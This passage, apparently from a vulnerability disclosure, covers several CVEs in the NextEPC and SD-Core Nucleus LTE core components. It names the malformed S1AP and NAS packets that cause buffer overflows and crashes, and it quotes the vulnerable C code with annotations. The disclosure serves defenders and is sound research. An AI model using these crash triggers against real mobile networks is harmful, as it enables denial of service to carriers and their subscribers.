    <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">*</span><span class="n">memb_ptr2</span>
    <span class="o">+</span> <span class="n">elm</span><span class="o">-&gt;</span><span class="n">type</span><span class="o">-&gt;</span><span class="n">elements</span><span class="p">[</span><span class="n">selected</span><span class="p">.</span><span class="n">presence_index</span> <span class="o">-</span> <span class="mi">1</span><span class="p">].</span><span class="n">memb_offset</span><span class="p">;</span> <span class="c1">// Buffer overflow</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">lib/s1ap/asn1c/S1AP_ProtocolExtensionField.c</code></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="k">const</span> <span class="n">asn_ioc_set_t</span> <span class="n">asn_IOS_S1AP_Bearers_SubjectToStatusTransfer_ItemExtIEs_1</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
	<span class="p">{</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="n">asn_IOS_S1AP_Bearers_SubjectToStatusTransfer_ItemExtIEs_1_rows</span> <span class="p">}</span>
<span class="p">};</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">lib/s1ap/asn1c/S1AP_ProtocolExtensionField.c</code></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="cm">/* Use -fall-defs-global to expose */</span>
<span class="n">asn_TYPE_descriptor_t</span> <span class="n">asn_DEF_S1AP_extensionValue_104</span> <span class="o">=</span> <span class="p">{</span>
	<span class="s">"extensionValue"</span><span class="p">,</span>
	<span class="s">"extensionValue"</span><span class="p">,</span>
	<span class="o">&amp;</span><span class="n">asn_OP_OPEN_TYPE</span><span class="p">,</span>
	<span class="mi">0</span><span class="p">,</span>	<span class="cm">/* No effective tags (pointer) */</span>
	<span class="mi">0</span><span class="p">,</span>	<span class="cm">/* No effective tags (count) */</span>
	<span class="mi">0</span><span class="p">,</span>	<span class="cm">/* No tags (pointer) */</span>
	<span class="mi">0</span><span class="p">,</span>	<span class="cm">/* No tags (count) */</span>
	<span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">OPEN_TYPE_constraint</span> <span class="p">},</span>
	<span class="n">asn_MBR_S1AP_extensionValue_104</span><span class="p">,</span>
	<span class="mi">4</span><span class="p">,</span>	<span class="cm">/* Elements count */</span>
	<span class="o">&amp;</span><span class="n">asn_SPC_S1AP_extensionValue_specs_104</span>	<span class="cm">/* Additional specs */</span>
<span class="p">};</span>
</code></pre></div></div>

<p>The value of <code class="language-plaintext highlighter-rouge">elm-&gt;type-&gt;elements</code>, <code class="language-plaintext highlighter-rouge">asn_MBR_S1AP_extensionValue_104</code>, has only 4 elements.
Meanwhile, the value of <code class="language-plaintext highlighter-rouge">asn_IOS_S1AP_Bearers_SubjectToStatusTransfer_ItemExtIEs_1_rows</code> has 6*4 elements.
The first is missing <code class="language-plaintext highlighter-rouge">DLCOUNTValueExtended</code> and <code class="language-plaintext highlighter-rouge">DLCOUNTvaluePDCP-SNlength18</code>, both optional secondary values of the same type as their immediately preceding element.</p>

<p><strong>CVE-2024-24441</strong> (<strong>VULN-E06</strong>):</p>

<p>A certain <code class="language-plaintext highlighter-rouge">E_RAB Modification Confirmation</code> Information Element within an S1AP packet will cause NextEPC to crash due to a buffer overflow write.</p>

<p><code class="language-plaintext highlighter-rouge">OPEN_TYPE.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">inner_value</span> <span class="o">=</span>
    <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">*</span><span class="n">memb_ptr2</span>
    <span class="o">+</span> <span class="n">elm</span><span class="o">-&gt;</span><span class="n">type</span><span class="o">-&gt;</span><span class="n">elements</span><span class="p">[</span><span class="n">selected</span><span class="p">.</span><span class="n">presence_index</span> <span class="o">-</span> <span class="mi">1</span><span class="p">].</span><span class="n">memb_offset</span><span class="p">;</span> <span class="c1">// Buffer overflow</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">S1AP_ProtocolIE-Field.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="k">const</span> <span class="n">asn_ioc_set_t</span> <span class="n">asn_IOS_S1AP_E_RABModificationConfirmIEs_1</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
	<span class="p">{</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="n">asn_IOS_S1AP_E_RABModificationConfirmIEs_1_rows</span> <span class="p">}</span>
<span class="p">};</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">S1AP_ProtocolIE-Field.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="cm">/* Use -fall-defs-global to expose */</span>
<span class="n">asn_TYPE_descriptor_t</span> <span class="n">asn_DEF_S1AP_value_388</span> <span class="o">=</span> <span class="p">{</span>
	<span class="s">"value"</span><span class="p">,</span>
	<span class="s">"value"</span><span class="p">,</span>
	<span class="o">&amp;</span><span class="n">asn_OP_OPEN_TYPE</span><span class="p">,</span>
	<span class="mi">0</span><span class="p">,</span>	<span class="cm">/* No effective tags (pointer) */</span>
	<span class="mi">0</span><span class="p">,</span>	<span class="cm">/* No effective tags (count) */</span>
	<span class="mi">0</span><span class="p">,</span>	<span class="cm">/* No tags (pointer) */</span>
	<span class="mi">0</span><span class="p">,</span>	<span class="cm">/* No tags (count) */</span>
	<span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">OPEN_TYPE_constraint</span> <span class="p">},</span>
	<span class="n">asn_MBR_S1AP_value_388</span><span class="p">,</span>
	<span class="mi">6</span><span class="p">,</span>	<span class="cm">/* Elements count */</span>
	<span class="o">&amp;</span><span class="n">asn_SPC_S1AP_value_specs_388</span>	<span class="cm">/* Additional specs */</span>
<span class="p">};</span>
</code></pre></div></div>

<p>The value of <code class="language-plaintext highlighter-rouge">elm-&gt;type-&gt;elements</code>, <code class="language-plaintext highlighter-rouge">asn_MBR_S1AP_value_388</code>, has only 6 elements.
Meanwhile, the value of <code class="language-plaintext highlighter-rouge">asn_IOS_S1AP_E_RABModificationConfirmIEs_1_rows</code> has 7*4 elements.
The first is missing <code class="language-plaintext highlighter-rouge">E_RABList</code>, an optional secondary value of the same type as its immediately preceding element.</p>

<p><strong>CVE-2024-24437</strong> (<strong>VULN-E07</strong>):</p>

<p>The presence of a <code class="language-plaintext highlighter-rouge">Path Switch Request Acknowledge</code> Information Element within an S1AP packet will cause NextEPC to crash due to a buffer overflow write.</p>

<p><code class="language-plaintext highlighter-rouge">OPEN_TYPE.c:440</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">inner_value</span> <span class="o">=</span>
    <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">*</span><span class="n">memb_ptr2</span>
    <span class="o">+</span> <span class="n">elm</span><span class="o">-&gt;</span><span class="n">type</span><span class="o">-&gt;</span><span class="n">elements</span><span class="p">[</span><span class="n">selected</span><span class="p">.</span><span class="n">presence_index</span> <span class="o">-</span> <span class="mi">1</span><span class="p">].</span><span class="n">memb_offset</span><span class="p">;</span> <span class="c1">// Buffer overflow</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">S1AP_ProtocolIE-Field.c:137</code></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="k">const</span> <span class="n">asn_ioc_set_t</span> <span class="n">asn_IOS_S1AP_PathSwitchRequestAcknowledgeIEs_1</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
	<span class="p">{</span> <span class="mi">14</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="n">asn_IOS_S1AP_PathSwitchRequestAcknowledgeIEs_1_rows</span> <span class="p">}</span>
<span class="p">};</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">S1AP_ProtocolIE-Field.c:34156</code></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">asn_TYPE_descriptor_t</span> <span class="n">asn_DEF_S1AP_value_108</span> <span class="o">=</span> <span class="p">{</span>
	<span class="s">"value"</span><span class="p">,</span>
	<span class="s">"value"</span><span class="p">,</span>
	<span class="o">&amp;</span><span class="n">asn_OP_OPEN_TYPE</span><span class="p">,</span>
	<span class="mi">0</span><span class="p">,</span>	<span class="cm">/* No effective tags (pointer) */</span>
	<span class="mi">0</span><span class="p">,</span>	<span class="cm">/* No effective tags (count) */</span>
	<span class="mi">0</span><span class="p">,</span>	<span class="cm">/* No tags (pointer) */</span>
	<span class="mi">0</span><span class="p">,</span>	<span class="cm">/* No tags (count) */</span>
	<span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">OPEN_TYPE_constraint</span> <span class="p">},</span>
	<span class="n">asn_MBR_S1AP_value_108</span><span class="p">,</span>
	<span class="mi">13</span><span class="p">,</span>	<span class="cm">/* Elements count */</span>
	<span class="o">&amp;</span><span class="n">asn_SPC_S1AP_value_specs_108</span>	<span class="cm">/* Additional specs */</span>
<span class="p">};</span>
</code></pre></div></div>

<p>The value of <code class="language-plaintext highlighter-rouge">elm-&gt;type-&gt;elements</code>, <code class="language-plaintext highlighter-rouge">asn_MBR_S1AP_value_108</code>, has only 13 elements.
Meanwhile, the value of <code class="language-plaintext highlighter-rouge">asn_IOS_S1AP_PathSwitchRequestAcknowledgeIEs_1_rows</code> has 14*4 elements.
The first is missing <code class="language-plaintext highlighter-rouge">MME-UE-S1AP-ID-2</code>, an optional secondary value of the same type as its immediately preceding element.</p>

<h2 id="sd-core-lte">SD-Core (LTE)</h2>

<h3 id="nas-protocol-vulnerabilities-5">NAS Protocol Vulnerabilities</h3>

<p><strong>CVE-2023-37043</strong> (<strong>VULN-H08</strong>):</p>

<p>An <code class="language-plaintext highlighter-rouge">Uplink NAS Transport</code> S1AP packet containing an oversized NAS_PDU will cause Nucleus to crash due to a stack-based buffer overflow.</p>

<p><code class="language-plaintext highlighter-rouge">src/s1ap/handlers/s1ap_msg_delegator.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">convertUplinkNasToProtoIe</span><span class="p">(</span><span class="n">SuccessfulOutcome_t</span> <span class="o">*</span><span class="n">msg</span><span class="p">,</span> <span class="k">struct</span> <span class="n">proto_IE</span><span class="o">*</span> <span class="n">proto_ies</span><span class="p">)</span>             
<span class="p">{</span>
    <span class="c1">// ...</span>
    
    <span class="k">switch</span><span class="p">(</span><span class="n">ie_p</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">case</span> <span class="n">ProtocolIE_ID_id_NAS_PDU</span><span class="p">:</span>
        <span class="p">{</span>
            <span class="n">NAS_PDU_t</span> <span class="o">*</span><span class="n">s1apNASPDU_p</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
            <span class="k">if</span><span class="p">(</span><span class="n">UplinkNASTransport_IEs__value_PR_NAS_PDU</span> <span class="o">==</span> <span class="n">ie_p</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">present</span><span class="p">)</span>
            <span class="p">{</span>
                <span class="n">s1apNASPDU_p</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">ie_p</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">NAS_PDU</span><span class="p">;</span>
            <span class="p">}</span>
            <span class="k">else</span>
            <span class="p">{</span>
                <span class="n">log_msg</span> <span class="p">(</span><span class="n">LOG_ERROR</span><span class="p">,</span> <span class="s">"Decoding of IE NAS PDU failed"</span><span class="p">);</span>
                <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
            <span class="p">}</span>

            <span class="n">proto_ies</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">IE_type</span> <span class="o">=</span> <span class="n">S1AP_IE_NAS_PDU</span><span class="p">;</span>
            <span class="n">memcpy</span><span class="p">(</span><span class="n">s1Msg</span><span class="o">-&gt;</span><span class="n">nasMsg</span><span class="p">.</span><span class="n">nasMsgBuf</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">s1apNASPDU_p</span><span class="o">-&gt;</span><span class="n">buf</span><span class="p">,</span> <span class="n">s1apNASPDU_p</span><span class="o">-&gt;</span><span class="n">size</span><span class="p">);</span>
            <span class="c1">// ^ Copies potentially oversized packet buffer into static-sized local buffer </span>
            <span class="n">s1Msg</span><span class="o">-&gt;</span><span class="n">nasMsg</span><span class="p">.</span><span class="n">nasMsgSize</span> <span class="o">=</span> <span class="n">s1apNASPDU_p</span><span class="o">-&gt;</span><span class="n">size</span><span class="p">;</span>

        <span class="p">}</span> <span class="k">break</span><span class="p">;</span>
        
        <span class="c1">// ...</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37044</strong> (<strong>VULN-H09</strong>):</p>

<p>An <code class="language-plaintext highlighter-rouge">Initial UE Message</code> S1AP packet containing an oversized NAS_PDU will cause Nucleus to crash due to a stack-based buffer overflow.</p>

<p><code class="language-plaintext highlighter-rouge">./s1ap/handlers/s1ap_msg_delegator.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">convertInitCtxRspToProtoIe</span><span class="p">(</span><span class="n">SuccessfulOutcome_t</span> <span class="o">*</span><span class="n">msg</span><span class="p">,</span> <span class="k">struct</span> <span class="n">proto_IE</span><span class="o">*</span> <span class="n">proto_ies</span><span class="p">)</span>             
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="k">switch</span><span class="p">(</span><span class="n">ie_p</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">case</span> <span class="n">ProtocolIE_ID_id_NAS_PDU</span><span class="p">:</span>
        <span class="p">{</span>
            <span class="n">NAS_PDU_t</span> <span class="o">*</span><span class="n">s1apNASPDU_p</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
            <span class="k">if</span><span class="p">(</span><span class="n">InitialUEMessage_IEs__value_PR_NAS_PDU</span> <span class="o">==</span> <span class="n">ie_p</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">present</span><span class="p">)</span>
            <span class="p">{</span>
                <span class="n">s1apNASPDU_p</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">ie_p</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">NAS_PDU</span><span class="p">;</span>
            <span class="p">}</span>
            <span class="k">else</span>
            <span class="p">{</span>
                <span class="n">log_msg</span> <span class="p">(</span><span class="n">LOG_ERROR</span><span class="p">,</span> <span class="s">"Decoding of IE NAS PDU failed"</span><span class="p">);</span>
                <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
            <span class="p">}</span>

            <span class="n">proto_ies</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">IE_type</span> <span class="o">=</span> <span class="n">S1AP_IE_NAS_PDU</span><span class="p">;</span>
            <span class="n">memcpy</span><span class="p">(</span><span class="n">s1Msg</span><span class="o">-&gt;</span><span class="n">nasMsg</span><span class="p">.</span><span class="n">nasMsgBuf</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">s1apNASPDU_p</span><span class="o">-&gt;</span><span class="n">buf</span><span class="p">,</span> <span class="n">s1apNASPDU_p</span><span class="o">-&gt;</span><span class="n">size</span><span class="p">);</span>
            <span class="c1">// ^ oversized NAS_PDU can overflow nasMsgBuf fixed-size bytearray</span>
            <span class="n">s1Msg</span><span class="o">-&gt;</span><span class="n">nasMsg</span><span class="p">.</span><span class="n">nasMsgSize</span> <span class="o">=</span> <span class="n">s1apNASPDU_p</span><span class="o">-&gt;</span><span class="n">size</span><span class="p">;</span>
            <span class="n">s1Msg</span><span class="o">-&gt;</span><span class="n">nasMsg</span><span class="p">.</span><span class="n">nasMsgSize</span> <span class="o">=</span> <span class="n">s1apNASPDU_p</span><span class="o">-&gt;</span><span class="n">size</span><span class="p">;</span>
        <span class="p">}</span> <span class="k">break</span><span class="p">;</span>
        
        <span class="c1">// ...</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="s1ap-protocol-vulnerabilities-3">S1AP Protocol Vulnerabilities</h3>

<p><strong>CVE-2023-37040</strong> (<strong>VULN-H01</strong>):</p>

<p>A malformed <code class="language-plaintext highlighter-rouge">Initial Context Setup Response</code> S1AP packet will cause Nucleus to crash due to a heap-based buffer overflow.</p>

<p><code class="language-plaintext highlighter-rouge">vim include/common/s1ap_structs.h</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">eRAB_setup_ctx_SU</span> <span class="p">{</span>
    <span class="kt">unsigned</span> <span class="kt">short</span> <span class="n">eRAB_id</span><span class="p">;</span>
    <span class="kt">unsigned</span> <span class="kt">short</span> <span class="n">dont_know_byte</span><span class="p">;</span>
    <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">transp_layer_addr</span><span class="p">;</span>
    <span class="c1">// ^ transp_layer_addr has a fixed size of 4 bytes</span>
    <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">gtp_teid</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">src/s1ap/handlers/s1ap_msg_delegator.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">convertInitCtxRspToProtoIe</span><span class="p">(</span><span class="n">SuccessfulOutcome_t</span> <span class="o">*</span><span class="n">msg</span><span class="p">,</span> <span class="k">struct</span> <span class="n">proto_IE</span><span class="o">*</span> <span class="n">proto_ies</span><span class="p">)</span>             
<span class="p">{</span>
    <span class="c1">// ...</span>
    
    <span class="k">if</span><span class="p">(</span><span class="n">s1apErabSetupItem_p</span><span class="o">-&gt;</span><span class="n">transportLayerAddress</span><span class="p">.</span><span class="n">buf</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">memcpy</span><span class="p">(</span>
            <span class="o">&amp;</span><span class="p">(</span><span class="n">proto_ies</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">val</span><span class="p">.</span><span class="n">erab</span><span class="p">.</span><span class="n">elements</span><span class="p">[</span><span class="n">j</span><span class="p">].</span><span class="n">su_res</span><span class="p">.</span><span class="n">transp_layer_addr</span><span class="p">),</span>
            <span class="n">s1apErabSetupItem_p</span><span class="o">-&gt;</span><span class="n">transportLayerAddress</span><span class="p">.</span><span class="n">buf</span><span class="p">,</span>
            <span class="n">s1apErabSetupItem_p</span><span class="o">-&gt;</span><span class="n">transportLayerAddress</span><span class="p">.</span><span class="n">size</span><span class="p">);</span>
        <span class="n">proto_ies</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">val</span><span class="p">.</span><span class="n">erab</span><span class="p">.</span><span class="n">elements</span><span class="p">[</span><span class="n">j</span><span class="p">].</span><span class="n">su_res</span><span class="p">.</span><span class="n">transp_layer_addr</span>
            <span class="o">=</span> <span class="n">ntohl</span><span class="p">(</span><span class="n">proto_ies</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">val</span><span class="p">.</span><span class="n">erab</span><span class="p">.</span><span class="n">elements</span><span class="p">[</span><span class="n">j</span><span class="p">].</span><span class="n">su_res</span><span class="p">.</span><span class="n">transp_layer_addr</span><span class="p">);</span>
        <span class="c1">// ^ transportLayerAddress size bound not checked; out-of-bounds write</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37042</strong> (<strong>VULN-H02</strong>):</p>

<p>An off-by-one error in initializing memory pools leads to memory corruption when certain memory is allocated in the SD-Core Nucleus MME.</p>

<p><code class="language-plaintext highlighter-rouge">include/cmn/memPoolManager.h</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">template</span> <span class="o">&lt;</span><span class="k">typename</span> <span class="nc">T</span><span class="p">&gt;</span>
<span class="k">class</span> <span class="nc">MemChunk</span>
<span class="p">{</span>
<span class="nl">public:</span>

    <span class="n">MemChunk</span><span class="p">(</span><span class="kt">uint32_t</span> <span class="n">numOfBlocks</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="kt">uint32_t</span>  <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
        <span class="k">for</span> <span class="p">(;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">numOfBlocks</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
        <span class="c1">// ^ should be i &lt; (numOfBlocks - 1)...</span>
        <span class="p">{</span>
            <span class="n">blockArray_mpa</span><span class="p">[</span><span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="p">].</span><span class="n">setNextMemBlock</span><span class="p">(</span><span class="o">&amp;</span><span class="n">blockArray_mpa</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
        <span class="p">}</span>
        <span class="n">blockArray_mpa</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">setNextMemBlock</span><span class="p">(</span><span class="nb">NULL</span><span class="p">);</span>
        <span class="c1">// ^ otherwise this will index one beyond the end of the array</span>

        <span class="c1">// ...</span>
    <span class="p">}</span>

<span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24436</strong> (<strong>VULN-H03</strong>):</p>

<p>A <code class="language-plaintext highlighter-rouge">Handover Ack</code> S1AP packet containing an oversized TargetToSource TransparentContainer will cause Nucleus to crash due to a stack-based buffer overflow.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">s1_handover_ack_handler</span><span class="p">(</span><span class="n">SuccessfulOutcome_t</span> <span class="o">*</span><span class="n">msg</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="k">switch</span> <span class="p">(</span><span class="n">s1_ho_ack_ies</span><span class="p">.</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">IE_type</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">case</span> <span class="n">S1AP_IE_TARGET_TOSOURCE_TRANSPARENTCONTAINER</span><span class="p">:</span>
        <span class="p">{</span>
            <span class="n">log_msg</span><span class="p">(</span><span class="n">LOG_INFO</span><span class="p">,</span>
                    <span class="s">"Handover Request Ack S1AP_IE_TARGET_TOSOURCE_TRANSPARENTCONTAINER."</span><span class="p">);</span>

            <span class="n">handover_ack</span><span class="p">.</span><span class="n">targetToSrcTranspContainer</span><span class="p">.</span><span class="n">count</span> <span class="o">=</span>
                    <span class="n">s1_ho_ack_ies</span><span class="p">.</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">val</span><span class="p">.</span><span class="n">targetToSrcTranspContainer</span><span class="p">.</span><span class="n">size</span><span class="p">;</span>

            <span class="n">memcpy</span><span class="p">(</span>
                    <span class="n">handover_ack</span><span class="p">.</span><span class="n">targetToSrcTranspContainer</span><span class="p">.</span><span class="n">buffer</span><span class="p">,</span>
                    <span class="n">s1_ho_ack_ies</span><span class="p">.</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">val</span><span class="p">.</span><span class="n">targetToSrcTranspContainer</span><span class="p">.</span><span class="n">buffer_p</span><span class="p">,</span>
                    <span class="n">s1_ho_ack_ies</span><span class="p">.</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">val</span><span class="p">.</span><span class="n">targetToSrcTranspContainer</span><span class="p">.</span><span class="n">size</span><span class="p">);</span>
            <span class="c1">// ^ unchecked length of transportContainer overruns struct being copied into</span>
        <span class="p">}</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="c1">// ...</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24435</strong> (<strong>VULN-H04</strong>):</p>

<p>A malformed <code class="language-plaintext highlighter-rouge">Handover Ack</code> S1AP packet containing an oversized <code class="language-plaintext highlighter-rouge">TransportLayerAddress</code> will cause Nucleus to crash due to a stack-based buffer overflow.</p>

<p><code class="language-plaintext highlighter-rouge">include/common/s1ap_structs.h</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="n">ERAB_admitted</span><span class="p">{</span>
        <span class="kt">uint8_t</span> <span class="n">e_RAB_ID</span><span class="p">;</span>
        <span class="kt">uint32_t</span> <span class="n">transportLayerAddress</span><span class="p">;</span>
        <span class="kt">uint32_t</span> <span class="n">gtp_teid</span><span class="p">;</span>
        <span class="kt">uint32_t</span> <span class="n">dL_transportLayerAddress</span><span class="p">;</span>
        <span class="c1">// ^ must be exactly 4 bytes in size</span>
        <span class="kt">uint32_t</span> <span class="n">dL_gtp_teid</span><span class="p">;</span>

<span class="p">}</span><span class="n">ERAB_admitted</span><span class="p">;</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">src/s1ap/handlers/s1ap_msg_delegator.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">convertHoAcklToProtoIe</span><span class="p">(</span><span class="n">SuccessfulOutcome_t</span> <span class="o">*</span><span class="n">msg</span><span class="p">,</span> <span class="k">struct</span> <span class="n">proto_IE</span> <span class="o">*</span><span class="n">proto_ies</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">memcpy</span><span class="p">(</span>
        <span class="o">&amp;</span><span class="p">(</span><span class="n">proto_ies</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">val</span><span class="p">.</span><span class="n">erab_admittedlist</span><span class="p">.</span><span class="n">erab_admitted</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">dL_transportLayerAddress</span><span class="p">),</span>
        <span class="n">eRabAdmittedItem_p</span><span class="o">-&gt;</span><span class="n">dL_transportLayerAddress</span><span class="o">-&gt;</span><span class="n">buf</span><span class="p">,</span>
        <span class="n">eRabAdmittedItem_p</span><span class="o">-&gt;</span><span class="n">dL_transportLayerAddress</span><span class="o">-&gt;</span><span class="n">size</span><span class="p">);</span>
    <span class="c1">// ^ unchecked length overflows `uint32_t` field being copied into</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24433</strong> (<strong>VULN-H05</strong>):</p>

<p>A malformed <code class="language-plaintext highlighter-rouge">Handover Required</code> S1AP packet containing an oversized SourceToTarget TransparentContainer will cause Nucleus to crash due to a stack-based buffer overflow.</p>

<p><code class="language-plaintext highlighter-rouge">src/s1ap/handlers/handover_required.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">s1_handover_required_handler</span><span class="p">(</span><span class="n">InitiatingMessage_t</span> <span class="o">*</span><span class="n">msg</span><span class="p">,</span> <span class="kt">int</span> <span class="n">enb_fd</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="k">switch</span> <span class="p">(</span><span class="n">ho_required_ies</span><span class="p">.</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">IE_type</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="k">case</span> <span class="n">S1AP_IE_SOURCE_TOTARGET_TRANSPARENTCONTAINER</span><span class="p">:</span>
        <span class="p">{</span>
            <span class="n">log_msg</span><span class="p">(</span><span class="n">LOG_INFO</span><span class="p">,</span>
                    <span class="s">"handover required S1AP_IE_SOURCE_TOTARGET_TRANSPARENTCONTAINER."</span><span class="p">);</span>

            <span class="n">ho_required</span><span class="p">.</span><span class="n">srcToTargetTranspContainer</span><span class="p">.</span><span class="n">count</span> <span class="o">=</span>
                    <span class="n">ho_required_ies</span><span class="p">.</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">val</span><span class="p">.</span><span class="n">srcToTargetTranspContainer</span><span class="p">.</span><span class="n">size</span><span class="p">;</span>

            <span class="n">memcpy</span><span class="p">(</span>
                    <span class="n">ho_required</span><span class="p">.</span><span class="n">srcToTargetTranspContainer</span><span class="p">.</span><span class="n">buffer</span><span class="p">,</span>
                    <span class="n">ho_required_ies</span><span class="p">.</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">val</span><span class="p">.</span><span class="n">srcToTargetTranspContainer</span><span class="p">.</span><span class="n">buffer_p</span><span class="p">,</span>
